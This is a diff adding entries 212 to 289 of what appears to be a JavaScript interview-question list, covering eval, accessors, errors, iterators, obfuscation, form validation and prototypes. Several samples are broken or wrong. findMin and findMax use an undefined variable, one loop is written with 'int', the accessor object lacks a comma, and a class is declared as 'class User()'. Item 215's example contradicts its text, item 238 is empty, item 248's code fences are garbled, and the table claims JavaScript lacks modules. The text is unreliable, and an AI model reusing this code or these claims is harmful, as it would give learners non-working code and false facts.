+            console.error(e);
+        }
+        ```
+
+212.    How do you print the contents of web page
+
+        The window object provided a print() method which is used to print the contents of the current window. It opens a Print dialog box which lets you choose between various printing options. Let's see the usage of print method in an example,
+
+        ```html
+        <input type="button" value="Print" onclick="window.print()" />
+        ```
+
+        **Note:** In most browsers, it will block while the print dialog is open.
+
+213.    What is the difference between uneval and eval
+
+        The `uneval` function returns the source of a given object; whereas the `eval` function does the opposite, by evaluating that source code in a different memory area. Let's see an example to clarify the difference,
+
+        ```javascript
+        var msg = uneval(function greeting() {
+            return 'Hello, Good morning';
+        });
+        var greeting = eval(msg);
+        greeting(); // returns "Hello, Good morning"
+        ```
+
+214.    What is an anonymous function
+
+        An anonymous function is a function without a name! Anonymous functions are commonly assigned to a variable name or used as a callback function. The syntax would be as below,
+
+        ```javascript
+        function (optionalParameters) {
+          //do something
+        }
+
+        const myFunction = function(){ //Anonymous function assigned to a variable
+          //do something
+        };
+
+        [1, 2, 3].map(function(element){ //Anonymous function used as a callback function
+          //do something
+        });
+        ```
+
+        Let's see the above anonymous function in an example,
+
+        ```javascript
+        var x = function (a, b) {
+            return a * b;
+        };
+        var z = x(5, 10);
+        console.log(z); // 50
+        ```
+
+215.    What is the precedence order between local and global variables
+
+        A local variable takes precedence over a global variable with the same name. Let's see this behavior in an example.
+
+        ```javascript
+        var msg = 'Good morning';
+        function greeting() {
+            msg = 'Good Evening';
+            console.log(msg);
+        }
+        greeting();
+        ```
+
+216.    What are javascript accessors
+
+        ECMAScript 5 introduced javascript object accessors or computed properties through getters and setters. Getters uses the `get` keyword whereas Setters uses the `set` keyword.
+
+        ```javascript
+        var user = {
+          firstName: "John",
+          lastName : "Abraham",
+          language : "en",
+          get lang() {
+            return this.language;
+          }
+          set lang(lang) {
+          this.language = lang;
+          }
+        };
+        console.log(user.lang); // getter access lang as en
+        user.lang = 'fr';
+        console.log(user.lang); // setter used to set lang as fr
+        ```
+
+217.    How do you define property on Object constructor
+
+        The Object.defineProperty() static method is used to define a new property directly on an object, or modify an existing property on an object, and returns the object. Let's see an example to know how to define property,
+
+        ```javascript
+        const newObject = {};
+
+        Object.defineProperty(newObject, 'newProperty', {
+            value: 100,
+            writable: false
+        });
+
+        console.log(newObject.newProperty); // 100
+
+        newObject.newProperty = 200; // It throws an error in strict mode due to writable setting
+        ```
+
+218.    What is the difference between get and defineProperty
+
+        Both have similar results until unless you use classes. If you use `get` the property will be defined on the prototype of the object whereas using `Object.defineProperty()` the property will be defined on the instance it is applied to.
+
+219.    What are the advantages of Getters and Setters
+
+        Below are the list of benefits of Getters and Setters,
+
+        1. They provide simpler syntax
+        2. They are used for defining computed properties, or accessors in JS.
+        3. Useful to provide equivalence relation between properties and methods
+        4. They can provide better data quality
+        5. Useful for doing things behind the scenes with the encapsulated logic.
+
+220.    Can I add getters and setters using defineProperty method
+
+        Yes, You can use the `Object.defineProperty()` method to add Getters and Setters. For example, the below counter object uses increment, decrement, add and subtract properties,
+
+        ```javascript
+        var obj = { counter: 0 };
+
+        // Define getters
+        Object.defineProperty(obj, 'increment', {
+            get: function () {
+                this.counter++;
+            }
+        });
+        Object.defineProperty(obj, 'decrement', {
+            get: function () {
+                this.counter--;
+            }
+        });
+
+        // Define setters
+        Object.defineProperty(obj, 'add', {
+            set: function (value) {
+                this.counter += value;
+            }
+        });
+        Object.defineProperty(obj, 'subtract', {
+            set: function (value) {
+                this.counter -= value;
+            }
+        });
+
+        obj.add = 10;
+        obj.subtract = 5;
+        console.log(obj.increment); //6
+        console.log(obj.decrement); //5
+        ```
+
+221.    What is the purpose of switch-case
+
+        The switch case statement in JavaScript is used for decision making purposes. In a few cases, using the switch case statement is going to be more convenient than if-else statements. The syntax would be as below,
+
+        ```javascript
+        switch (expression)
+        {
+            case value1:
+                statement1;
+                break;
+            case value2:
+                statement2;
+                break;
+            .
+            .
+            case valueN:
+                statementN;
+                break;
+            default:
+                statementDefault;
+        }
+        ```
+
+        The above multi-way branch statement provides an easy way to dispatch execution to different parts of code based on the value of the expression.
+
+222.    What are the conventions to be followed for the usage of switch case
+
+        Below are the list of conventions should be taken care,
+
+        1. The expression can be of type either number or string.
+        2. Duplicate values are not allowed for the expression.
+        3. The default statement is optional. If the expression passed to switch does not match with any case value then the statement within default case will be executed.
+        4. The break statement is used inside the switch to terminate a statement sequence.
+        5. The break statement is optional. But if it is omitted, the execution will continue on into the next case.
+
+223.    What are primitive data types
+
+        A primitive data type is data that has a primitive value (which has no properties or methods). There are 7 types of primitive data types.
+
+        1. string
+        2. number
+        3. boolean
+        4. null
+        5. undefined
+        6. bigint
+        7. symbol
+
+224.    What are the different ways to access object properties
+
+        There are 3 possible ways for accessing the property of an object.
+
+        1. **Dot notation:** It uses dot for accessing the properties
+
+        ```javascript
+        objectName.property;
+        ```
+
+        1. **Square brackets notation:** It uses square brackets for property access
+
+        ```javascript
+        objectName['property'];
+        ```
+
+        1. **Expression notation:** It uses expression in the square brackets
+
+        ```javascript
+        objectName[expression];
+        ```
+
+225.    What are the function parameter rules
+
+        JavaScript functions follow below rules for parameters,
+
+        1. The function definitions do not specify data types for parameters.
+        2. Do not perform type checking on the passed arguments.
+        3. Do not check the number of arguments received.
+           i.e, The below function follows the above rules,
+
+        ```javascript
+        function functionName(parameter1, parameter2, parameter3) {
+            console.log(parameter1); // 1
+        }
+        functionName(1);
+        ```
+
+226.    What is an error object
+
+        An error object is a built in error object that provides error information when an error occurs. It has two properties: name and message. For example, the below function logs error details,
+
+        ```javascript
+        try {
+            greeting('Welcome');
+        } catch (err) {
+            console.log(err.name + '<br>' + err.message);
+        }
+        ```
+
+227.    When you get a syntax error
+
+        A SyntaxError is thrown if you try to evaluate code with a syntax error. For example, the below missing quote for the function parameter throws a syntax error
+
+        ```javascript
+        try {
+            eval("greeting('welcome)"); // Missing ' will produce an error
+        } catch (err) {
+            console.log(err.name);
+        }
+        ```
+
+228.    What are the different error names from error object
+
+        There are 6 different types of error names returned from error object,
+        | Error Name | Description |
+        |---- | ---------
+        | EvalError | An error has occurred in the eval() function |
+        | RangeError | An error has occurred with a number "out of range" |
+        | ReferenceError | An error due to an illegal reference|
+        | SyntaxError | An error due to a syntax error|
+        | TypeError | An error due to a type error |
+        | URIError | An error due to encodeURI() |
+
+229.    What are the various statements in error handling
+
+        Below are the list of statements used in an error handling,
+
+        1. **try:** This statement is used to test a block of code for errors
+        2. **catch:** This statement is used to handle the error
+        3. **throw:** This statement is used to create custom errors.
+        4. **finally:** This statement is used to execute code after try and catch regardless of the result.
+
+230.    What are the two types of loops in javascript
+
+        1. **Entry Controlled loops:** In this kind of loop type, the test condition is tested before entering the loop body. For example, For Loop and While Loop comes under this category.
+        2. **Exit Controlled Loops:** In this kind of loop type, the test condition is tested or evaluated at the end of the loop body. i.e, the loop body will execute at least once irrespective of test condition true or false. For example, do-while loop comes under this category.
+
+231.    What is nodejs
+
+        Node.js is a server-side platform built on Chrome's JavaScript runtime for easily building fast and scalable network applications. It is an event-based, non-blocking, asynchronous I/O runtime that uses Google's V8 JavaScript engine and libuv library.
+
+232.    What is an Intl object
+
+        The Intl object is the namespace for the ECMAScript Internationalization API, which provides language sensitive string comparison, number formatting, and date and time formatting. It provides access to several constructors and language sensitive functions.
+
+233.    How do you perform language specific date and time formatting
+
+        You can use the `Intl.DateTimeFormat` object which is a constructor for objects that enable language-sensitive date and time formatting. Let's see this behavior with an example,
+
+        ```javascript
+        var date = new Date(Date.UTC(2019, 07, 07, 3, 0, 0));
+        console.log(new Intl.DateTimeFormat('en-GB').format(date)); // 07/08/2019
+        console.log(new Intl.DateTimeFormat('en-AU').format(date)); // 07/08/2019
+        ```
+
+234.    What is an Iterator
+
+        An iterator is an object which defines a sequence and a return value upon its termination. It implements the Iterator protocol with a `next()` method which returns an object with two properties: `value` (the next value in the sequence) and `done` (which is true if the last value in the sequence has been consumed).
+
+235.    How does synchronous iteration works
+
+        Synchronous iteration was introduced in ES6 and it works with below set of components,
+
+        **Iterable:** It is an object which can be iterated over via a method whose key is Symbol.iterator.
+        **Iterator:** It is an object returned by invoking `[Symbol.iterator]()` on an iterable. This iterator object wraps each iterated element in an object and returns it via `next()` method one by one.
+        **IteratorResult:** It is an object returned by `next()` method. The object contains two properties; the `value` property contains an iterated element and the `done` property determines whether the element is the last element or not.
+
+        Let's demonstrate synchronous iteration with an array as below,
+
+        ```javascript
+        const iterable = ['one', 'two', 'three'];
+        const iterator = iterable[Symbol.iterator]();
+        console.log(iterator.next()); // { value: 'one', done: false }
+        console.log(iterator.next()); // { value: 'two', done: false }
+        console.log(iterator.next()); // { value: 'three', done: false }
+        console.log(iterator.next()); // { value: 'undefined, done: true }
+        ```
+
+236.    What is an event loop
+
+        The Event Loop is a queue of callback functions. When an async function executes, the callback function is pushed into the queue. The JavaScript engine doesn't start processing the event loop until the async function has finished executing the code.
+        **Note:** It allows Node.js to perform non-blocking I/O operations even though JavaScript is single-threaded.
+
+237.    What is call stack
+
+        Call Stack is a data structure for javascript interpreters to keep track of function calls in the program. It has two major actions,
+
+        1. Whenever you call a function for its execution, you are pushing it to the stack.
+        2. Whenever the execution is completed, the function is popped out of the stack.
+
+        Let's take an example and it's state representation in a diagram format
+
+        ```javascript
+        function hungry() {
+            eatFruits();
+        }
+        function eatFruits() {
+            return "I'm eating fruits";
+        }
+
+        // Invoke the `hungry` function
+        hungry();
+        ```
+
+        The above code processed in a call stack as below,
+
+        1. Add the `hungry()` function to the call stack list and execute the code.
+        2. Add the `eatFruits()` function to the call stack list and execute the code.
+        3. Delete the `eatFruits()` function from our call stack list.
+        4. Delete the `hungry()` function from the call stack list since there are no items anymore.
+
+        ![Screenshot](images/call-stack.png)
+
+238.    What is an event queue
+
+239.    What is a decorator
+
+        A decorator is an expression that evaluates to a function and that takes the target, name, and decorator descriptor as arguments. Also, it optionally returns a decorator descriptor to install on the target object. Let's define admin decorator for user class at design time,
+
+        ```javascript
+        function admin(isAdmin) {
+           return function(target) {
+               target.isAdmin = isAdmin;
+           }
+        }
+
+        @admin(true)
+        class User() {
+        }
+        console.log(User.isAdmin); //true
+
+         @admin(false)
+         class User() {
+         }
+         console.log(User.isAdmin); //false
+        ```
+
+240.    What are the properties of Intl object
+
+        Below are the list of properties available on Intl object,
+
+        1. **Collator:** These are the objects that enable language-sensitive string comparison.
+        2. **DateTimeFormat:** These are the objects that enable language-sensitive date and time formatting.
+        3. **ListFormat:** These are the objects that enable language-sensitive list formatting.
+        4. **NumberFormat:** Objects that enable language-sensitive number formatting.
+        5. **PluralRules:** Objects that enable plural-sensitive formatting and language-specific rules for plurals.
+        6. **RelativeTimeFormat:** Objects that enable language-sensitive relative time formatting.
+
+241.    What is an Unary operator
+
+        The unary(+) operator is used to convert a variable to a number.If the variable cannot be converted, it will still become a number but with the value NaN. Let's see this behavior in an action.
+
+        ```javascript
+        var x = '100';
+        var y = +x;
+        console.log(typeof x, typeof y); // string, number
+
+        var a = 'Hello';
+        var b = +a;
+        console.log(typeof a, typeof b, b); // string, number, NaN
+        ```
+
+242.    How do you sort elements in an array
+
+        The sort() method is used to sort the elements of an array in place and returns the sorted array. The example usage would be as below,
+
+        ```javascript
+        var months = ['Aug', 'Sep', 'Jan', 'June'];
+        months.sort();
+        console.log(months); //  ["Aug", "Jan", "June", "Sep"]
+        ```
+
+243.    What is the purpose of compareFunction while sorting arrays
+
+        The compareFunction is used to define the sort order. If omitted, the array elements are converted to strings, then sorted according to each character's Unicode code point value. Let's take an example to see the usage of compareFunction,
+
+        ```javascript
+        let numbers = [1, 2, 5, 3, 4];
+        numbers.sort((a, b) => b - a);
+        console.log(numbers); // [5, 4, 3, 2, 1]
+        ```
+
+244.    How do you reversing an array
+
+        You can use the reverse() method to reverse the elements in an array. This method is useful to sort an array in descending order. Let's see the usage of reverse() method in an example,
+
+        ```javascript
+        let numbers = [1, 2, 5, 3, 4];
+        numbers.sort((a, b) => b - a);
+        numbers.reverse();
+        console.log(numbers); // [1, 2, 3, 4 ,5]
+        ```
+
+245.    How do you find min and max value in an array
+
+        You can use `Math.min` and `Math.max` methods on array variables to find the minimum and maximum elements within an array. Let's create two functions to find the min and max value with in an array,
+
+        ```javascript
+        var marks = [50, 20, 70, 60, 45, 30];
+        function findMin(arr) {
+            return Math.min.apply(null, arr);
+        }
+        function findMax(arr) {
+            return Math.max.apply(null, arr);
+        }
+
+        console.log(findMin(marks));
+        console.log(findMax(marks));
+        ```
+
+246.    How do you find min and max values without Math functions
+
+        You can write functions which loop through an array comparing each value with the lowest value or highest value to find the min and max values. Let's create those functions to find min and max values,
+
+        ```javascript
+        var marks = [50, 20, 70, 60, 45, 30];
+        function findMin(arr) {
+            var length = arr.length;
+            var min = Infinity;
+            while (length--) {
+                if (arr[length] < min) {
+                    min = arr[len];
+                }
+            }
+            return min;
+        }
+
+        function findMax(arr) {
+            var length = arr.length;
+            var max = -Infinity;
+            while (len--) {
+                if (arr[length] > max) {
+                    max = arr[length];
+                }
+            }
+            return max;
+        }
+
+        console.log(findMin(marks));
+        console.log(findMax(marks));
+        ```
+
+247.    What is an empty statement and purpose of it
+
+        The empty statement is a semicolon (;) indicating that no statement will be executed, even if JavaScript syntax requires one. Since there is no action with an empty statement you might think that it's usage is quite less, but the empty statement is occasionally useful when you want to create a loop that has an empty body. For example, you can initialize an array with zero values as below,
+
+        ```javascript
+        // Initialize an array a
+        for(int i=0; i < a.length; a[i++] = 0) ;
+        ```
+
+248.    How do you get metadata of a module
+
+             You can use the `import.meta` object which is a meta-property exposing context-specific meta data to a JavaScript module. It contains information about the current module, such as the module's URL. In browsers, you might get different meta data than NodeJS.
+
+             ```javascript
+             <script type="module" src="welcome-module.js">
+
+        </script>;
+        console.log(import.meta); // { url: "file:///home/user/welcome-module.js" }
+
+        ```
+
+        ```
+
+249.    What is a comma operator
+
+        The comma operator is used to evaluate each of its operands from left to right and returns the value of the last operand. This is totally different from comma usage within arrays, objects, and function arguments and parameters. For example, the usage for numeric expressions would be as below,
+
+        ```javascript
+        var x = 1;
+        x = (x++, x);
+
+        console.log(x); // 2
+        ```
+
+250.    What is the advantage of a comma operator
+
+        It is normally used to include multiple expressions in a location that requires a single expression. One of the common usages of this comma operator is to supply multiple parameters in a `for` loop. For example, the below for loop uses multiple expressions in a single location using comma operator,
+
+        ```javascript
+        for (var a = 0, b =10; a <= 10; a++, b--)
+        ```
+
+        You can also use the comma operator in a return statement where it processes before returning.
+
+        ```javascript
+        function myFunction() {
+            var a = 1;
+            return (a += 10), a; // 11
+        }
+        ```
+
+251.    What is typescript
+
+        TypeScript is a typed superset of JavaScript created by Microsoft that adds optional types, classes, async/await, and many other features, and compiles to plain JavaScript. Angular built entirely in TypeScript and used as a primary language. You can install it globally as
+
+        ```console
+        npm install -g typescript
+        ```
+
+        Let's see a simple example of TypeScript usage,
+
+        ```typescript
+        function greeting(name: string): string {
+            return 'Hello, ' + name;
+        }
+
+        let user = 'Sudheer';
+
+        console.log(greeting(user));
+        ```
+
+        The greeting method allows only string type as argument.
+
+252.    What are the differences between javascript and typescript
+
+        Below are the list of differences between javascript and typescript,
+
+        | feature             | typescript                            | javascript                                      |
+        | ------------------- | ------------------------------------- | ----------------------------------------------- |
+        | Language paradigm   | Object oriented programming language  | Scripting language                              |
+        | Typing support      | Supports static typing                | It has dynamic typing                           |
+        | Modules             | Supported                             | Not supported                                   |
+        | Interface           | It has interfaces concept             | Doesn't support interfaces                      |
+        | Optional parameters | Functions support optional parameters | No support of optional parameters for functions |
+
+253.    What are the advantages of typescript over javascript
+
+        Below are some of the advantages of typescript over javascript,
+
+        1. TypeScript is able to find compile time errors at the development time only and it makes sures less runtime errors. Whereas javascript is an interpreted language.
+        2. TypeScript is strongly-typed or supports static typing which allows for checking type correctness at compile time. This is not available in javascript.
+        3. TypeScript compiler can compile the .ts files into ES3,ES4 and ES5 unlike ES6 features of javascript which may not be supported in some browsers.
+
+254.    What is an object initializer
+
+        An object initializer is an expression that describes the initialization of an Object. The syntax for this expression is represented as a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}). This is also known as literal notation. It is one of the ways to create an object.
+
+        ```javascript
+        var initObject = { a: 'John', b: 50, c: {} };
+
+        console.log(initObject.a); // John
+        ```
+
+255.    What is a constructor method
+
+        The constructor method is a special method for creating and initializing an object created within a class. If you do not specify a constructor method, a default constructor is used. The example usage of constructor would be as below,
+
+        ```javascript
+        class Employee {
+            constructor() {
+                this.name = 'John';
+            }
+        }
+
+        var employeeObject = new Employee();
+
+        console.log(employeeObject.name); // John
+        ```
+
+256.    What happens if you write constructor more than once in a class
+
+        The "constructor" in a class is a special method and it should be defined only once in a class. i.e, If you write a constructor method more than once in a class it will throw a `SyntaxError` error.
+
+        ```javascript
+         class Employee {
+           constructor() {
+             this.name = "John";
+           }
+           constructor() {   //  Uncaught SyntaxError: A class may only have one constructor
+             this.age = 30;
+           }
+         }
+
+         var employeeObject = new Employee();
+
+         console.log(employeeObject.name);
+        ```
+
+257.    How do you call the constructor of a parent class
+
+        You can use the `super` keyword to call the constructor of a parent class. Remember that `super()` must be called before using 'this' reference. Otherwise it will cause a reference error. Let's the usage of it,
+
+        ```javascript
+        class Square extends Rectangle {
+            constructor(length) {
+                super(length, length);
+                this.name = 'Square';
+            }
+
+            get area() {
+                return this.width * this.height;
+            }
+
+            set area(value) {
+                this.area = value;
+            }
+        }
+        ```
+
+258.    How do you get the prototype of an object
+
+        You can use the `Object.getPrototypeOf(obj)` method to return the prototype of the specified object. i.e. The value of the internal `prototype` property. If there are no inherited properties then `null` value is returned.
+
+        ```javascript
+        const newPrototype = {};
+        const newObject = Object.create(newPrototype);
+
+        console.log(Object.getPrototypeOf(newObject) === newPrototype); // true
+        ```
+
+259.    What happens If I pass string type for getPrototype method
+
+        In ES5, it will throw a TypeError exception if the obj parameter isn't an object. Whereas in ES2015, the parameter will be coerced to an `Object`.
+
+        ```javascript
+        // ES5
+        Object.getPrototypeOf('James'); // TypeError: "James" is not an object
+        // ES2015
+        Object.getPrototypeOf('James'); // String.prototype
+        ```
+
+260.    How do you set prototype of one object to another
+
+        You can use the `Object.setPrototypeOf()` method that sets the prototype (i.e., the internal `Prototype` property) of a specified object to another object or null. For example, if you want to set prototype of a square object to rectangle object would be as follows,
+
+        ```javascript
+        Object.setPrototypeOf(Square.prototype, Rectangle.prototype);
+        Object.setPrototypeOf({}, null);
+        ```
+
+261.    How do you check whether an object can be extendable or not
+
+        The `Object.isExtensible()` method is used to determine if an object is extendable or not. i.e, Whether it can have new properties added to it or not.
+
+        ```javascript
+        const newObject = {};
+        console.log(Object.isExtensible(newObject)); //true
+        ```
+
+        **Note:** By default, all the objects are extendable. i.e, The new properties can be added or modified.
+
+262.    How do you prevent an object to extend
+
+        The `Object.preventExtensions()` method is used to prevent new properties from ever being added to an object. In other words, it prevents future extensions to the object. Let's see the usage of this property,
+
+        ```javascript
+        const newObject = {};
+        Object.preventExtensions(newObject); // NOT extendable
+
+        try {
+            Object.defineProperty(newObject, 'newProperty', {
+                // Adding new property
+                value: 100
+            });
+        } catch (e) {
+            console.log(e); // TypeError: Cannot define property newProperty, object is not extensible
+        }
+        ```
+
+263.    What are the different ways to make an object non-extensible
+
+        You can mark an object non-extensible in 3 ways,
+
+        1. Object.preventExtensions
+        2. Object.seal
+        3. Object.freeze
+
+        ```javascript
+        var newObject = {};
+
+        Object.preventExtensions(newObject); // Prevent objects are non-extensible
+        Object.isExtensible(newObject); // false
+
+        var sealedObject = Object.seal({}); // Sealed objects are non-extensible
+        Object.isExtensible(sealedObject); // false
+
+        var frozenObject = Object.freeze({}); // Frozen objects are non-extensible
+        Object.isExtensible(frozenObject); // false
+        ```
+
+264.    How do you define multiple properties on an object
+
+        The `Object.defineProperties()` method is used to define new or modify existing properties directly on an object and returning the object. Let's define multiple properties on an empty object,
+
+        ```javascript
+        const newObject = {};
+
+        Object.defineProperties(newObject, {
+            newProperty1: {
+                value: 'John',
+                writable: true
+            },
+            newProperty2: {}
+        });
+        ```
+
+265.    What is MEAN in javascript
+
+        The MEAN (MongoDB, Express, AngularJS, and Node.js) stack is the most popular open-source JavaScript software tech stack available for building dynamic web apps where you can write both the server-side and client-side halves of the web project entirely in JavaScript.
+
+266.    What Is Obfuscation in javascript
+
+        Obfuscation is the deliberate act of creating obfuscated javascript code(i.e, source or machine code) that is difficult for humans to understand. It is something similar to encryption, but a machine can understand the code and execute it.
+        Let's see the below function before Obfuscation,
+
+        ```javascript
+        function greeting() {
+            console.log('Hello, welcome to JS world');
+        }
+        ```
+
+        And after the code Obfuscation, it would be appeared as below,
+
+        ```javascript
+        eval(
+            (function (p, a, c, k, e, d) {
+                e = function (c) {
+                    return c;
+                };
+                if (!''.replace(/^/, String)) {
+                    while (c--) {
+                        d[c] = k[c] || c;
+                    }
+                    k = [
+                        function (e) {
+                            return d[e];
+                        }
+                    ];
+                    e = function () {
+                        return '\\w+';
+                    };
+                    c = 1;
+                }
+                while (c--) {
+                    if (k[c]) {
+                        p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
+                    }
+                }
+                return p;
+            })("2 1(){0.3('4, 7 6 5 8')}", 9, 9, 'console|greeting|function|log|Hello|JS|to|welcome|world'.split('|'), 0, {})
+        );
+        ```
+
+267.    Why do you need Obfuscation
+
+        Below are the few reasons for Obfuscation,
+
+        1. The Code size will be reduced. So data transfers between server and client will be fast.
+        2. It hides the business logic from outside world and protects the code from others
+        3. Reverse engineering is highly difficult
+        4. The download time will be reduced
+
+268.    What is Minification
+
+        Minification is the process of removing all unnecessary characters(empty spaces are removed) and variables will be renamed without changing it's functionality. It is also a type of obfuscation .
+
+269.    What are the advantages of minification
+
+        Normally it is recommended to use minification for heavy traffic and intensive requirements of resources. It reduces file sizes with below benefits,
+
+        1. Decreases loading times of a web page
+        2. Saves bandwidth usages
+
+270.    What are the differences between Obfuscation and Encryption
+
+        Below are the main differences between Obfuscation and Encryption,
+
+        | Feature            | Obfuscation                                     | Encryption                                                              |
+        | ------------------ | ----------------------------------------------- | ----------------------------------------------------------------------- |
+        | Definition         | Changing the form of any data in any other form | Changing the form of information to an unreadable format by using a key |
+        | A key to decode    | It can be decoded without any key               | It is required                                                          |
+        | Target data format | It will be converted to a complex form          | Converted into an unreadable format                                     |
+
+271.    What are the common tools used for minification
+
+        There are many online/offline tools to minify the javascript files,
+
+        1. Google's Closure Compiler
+        2. UglifyJS2
+        3. jsmin
+        4. javascript-minifier.com/
+        5. prettydiff.com
+
+272.    How do you perform form validation using javascript
+
+        JavaScript can be used to perform HTML form validation. For example, if the form field is empty, the function needs to notify, and return false, to prevent the form being submitted.
+        Lets' perform user login in an html form,
+
+        ```html
+        <form name="myForm" onsubmit="return validateForm()" method="post">
+            User name: <input type="text" name="uname" />
+            <input type="submit" value="Submit" />
+        </form>
+        ```
+
+        And the validation on user login is below,
+
+        ```javascript
+        function validateForm() {
+            var x = document.forms['myForm']['uname'].value;
+            if (x == '') {
+                alert("The username shouldn't be empty");
+                return false;
+            }
+        }
+        ```
+
+273.    How do you perform form validation without javascript
+
+        You can perform HTML form validation automatically without using javascript. The validation enabled by applying the `required` attribute to prevent form submission when the input is empty.
+
+        ```html
+        <form method="post">
+            <input type="text" name="uname" required />
+            <input type="submit" value="Submit" />
+        </form>
+        ```
+
+        **Note:** Automatic form validation does not work in Internet Explorer 9 or earlier.
+
+274.    What are the DOM methods available for constraint validation
+
+        The below DOM methods are available for constraint validation on an invalid input,
+
+        1. checkValidity(): It returns true if an input element contains valid data.
+        2. setCustomValidity(): It is used to set the validationMessage property of an input element.
+           Let's take an user login form with DOM validations
+
+        ```javascript
+        function myFunction() {
+            var userName = document.getElementById('uname');
+            if (!userName.checkValidity()) {
+                document.getElementById('message').innerHTML = userName.validationMessage;
+            } else {
+                document.getElementById('message').innerHTML = 'Entered a valid username';
+            }
+        }
+        ```
+
+275.    What are the available constraint validation DOM properties
+
+        Below are the list of some of the constraint validation DOM properties available,
+
+        1. validity: It provides a list of boolean properties related to the validity of an input element.
+        2. validationMessage: It displays the message when the validity is false.
+        3. willValidate: It indicates if an input element will be validated or not.
+
+276.    What are the list of validity properties
+
+        The validity property of an input element provides a set of properties related to the validity of data.
+
+        1. customError: It returns true, if a custom validity message is set.
+        2. patternMismatch: It returns true, if an element's value does not match its pattern attribute.
+        3. rangeOverflow: It returns true, if an element's value is greater than its max attribute.
+        4. rangeUnderflow: It returns true, if an element's value is less than its min attribute.
+        5. stepMismatch: It returns true, if an element's value is invalid according to step attribute.
+        6. tooLong: It returns true, if an element's value exceeds its maxLength attribute.
+        7. typeMismatch: It returns true, if an element's value is invalid according to type attribute.
+        8. valueMissing: It returns true, if an element with a required attribute has no value.
+        9. valid: It returns true, if an element's value is valid.
+
+277.    Give an example usage of rangeOverflow property
+
+        If an element's value is greater than its max attribute then rangeOverflow property returns true. For example, the below form submission throws an error if the value is more than 100,
+
+        ```html
+        <input id="age" type="number" max="100" /> <button onclick="myOverflowFunction()">OK</button>
+        ```
+
+        ```javascript
+        function myOverflowFunction() {
+            if (document.getElementById('age').validity.rangeOverflow) {
+                alert('The mentioned age is not allowed');
+            }
+        }
+        ```
+
+278.    Is enums feature available in javascript
+
+        No, javascript does not natively support enums. But there are different kinds of solutions to simulate them even though they may not provide exact equivalents. For example, you can use freeze or seal on object,
+
+        ```javascript
+        var DaysEnum = Object.freeze({"monday":1, "tuesday":2, "wednesday":3, ...})
+        ```
+
+279.    What is an enum
+
+        An enum is a type restricting variables to one value from a predefined set of constants. JavaScript has no enums but typescript provides built-in enum support.
+
+        ```javascript
+        enum Color {
+         RED, GREEN, BLUE
+        }
+        ```
+
+280.    How do you list all properties of an object
+
+        You can use the `Object.getOwnPropertyNames()` method which returns an array of all properties found directly in a given object. Let's the usage of it in an example,
+
+        ```javascript
+        const newObject = {
+            a: 1,
+            b: 2,
+            c: 3
+        };
+
+        console.log(Object.getOwnPropertyNames(newObject));
+        ['a', 'b', 'c'];
+        ```
+
+281.    How do you get property descriptors of an object
+
+        You can use the `Object.getOwnPropertyDescriptors()` method which returns all own property descriptors of a given object. The example usage of this method is below,
+
+        ```javascript
+        const newObject = {
+            a: 1,
+            b: 2,
+            c: 3
+        };
+        const descriptorsObject = Object.getOwnPropertyDescriptors(newObject);
+        console.log(descriptorsObject.a.writable); //true
+        console.log(descriptorsObject.a.configurable); //true
+        console.log(descriptorsObject.a.enumerable); //true
+        console.log(descriptorsObject.a.value); // 1
+        ```
+
+282.    What are the attributes provided by a property descriptor
+
+        A property descriptor is a record which has the following attributes
+
+        1. value: The value associated with the property
+        2. writable: Determines whether the value associated with the property can be changed or not
+        3. configurable: Returns true if the type of this property descriptor can be changed and if the property can be deleted from the corresponding object.
+        4. enumerable: Determines whether the property appears during enumeration of the properties on the corresponding object or not.
+        5. set: A function which serves as a setter for the property
+        6. get: A function which serves as a getter for the property
+
+283.    How do you extend classes
+
+        The `extends` keyword is used in class declarations/expressions to create a class which is a child of another class. It can be used to subclass custom classes as well as built-in objects. The syntax would be as below,
+
+        ```javascript
+        class ChildClass extends ParentClass { ... }
+        ```
+
+        Let's take an example of Square subclass from Polygon parent class,
+
+        ```javascript
+        class Square extends Rectangle {
+            constructor(length) {
+                super(length, length);
+                this.name = 'Square';
+            }
+
+            get area() {
+                return this.width * this.height;
+            }
+
+            set area(value) {
+                this.area = value;
+            }
+        }
+        ```
+
+284.    How do I modify the url without reloading the page
+
+        The `window.location.url` property will be helpful to modify the url but it reloads the page. HTML5 introduced the `history.pushState()` and `history.replaceState()` methods, which allow you to add and modify history entries, respectively. For example, you can use pushState as below,
+
+        ```javascript
+        window.history.pushState('page2', 'Title', '/page2.html');
+        ```
+
+285.    How do you check whether an array includes a particular value or not
+
+        The `Array#includes()` method is used to determine whether an array includes a particular value among its entries by returning either true or false. Let's see an example to find an element(numeric and string) within an array.
+
+        ```javascript
+        var numericArray = [1, 2, 3, 4];
+        console.log(numericArray.includes(3)); // true
+
+        var stringArray = ['green', 'yellow', 'blue'];
+        console.log(stringArray.includes('blue')); //true
+        ```
+
+286.    How do you compare scalar arrays
+
+        You can use length and every method of arrays to compare two scalar(compared directly using ===) arrays. The combination of these expressions can give the expected result,
+
+        ```javascript
+        const arrayFirst = [1, 2, 3, 4, 5];
+        const arraySecond = [1, 2, 3, 4, 5];
+        console.log(arrayFirst.length === arraySecond.length && arrayFirst.every((value, index) => value === arraySecond[index])); // true
+        ```
+
+        If you would like to compare arrays irrespective of order then you should sort them before,
+
+        ```javascript
+        const arrayFirst = [2, 3, 1, 4, 5];
+        const arraySecond = [1, 2, 3, 4, 5];
+        console.log(arrayFirst.length === arraySecond.length && arrayFirst.sort().every((value, index) => value === arraySecond[index])); //true
+        ```
+
+287.    How to get the value from get parameters
+
+        The `new URL()` object accepts the url string and `searchParams` property of this object can be used to access the get parameters. Remember that you may need to use polyfill or `window.location` to access the URL in older browsers(including IE).
+
+        ```javascript
+        let urlString = 'http://www.some-domain.com/about.html?x=1&y=2&z=3'; //window.location.href
+        let url = new URL(urlString);
+        let parameterZ = url.searchParams.get('z');
+        console.log(parameterZ); // 3
+        ```
+
+288.    How do you print numbers with commas as thousand separators
+
+        You can use the `Number.prototype.toLocaleString()` method which returns a string with a language-sensitive representation such as thousand separator,currency etc of this number.
+
+        ```javascript
+        function convertToThousandFormat(x) {
+            return x.toLocaleString(); // 12,345.679
+        }
+
+        console.log(convertToThousandFormat(12345.6789));
+        ```
+
+289.    What is the difference between java and javascript
+
+        Both are totally unrelated programming languages and no relation between them. Java is statically typed, compiled, runs on its own VM. Whereas Javascript is dynamically typed, interpreted, and runs in a browser and nodejs environments. Let's see the major differences in a tabular format,
+        | Feature | Java | JavaScript |
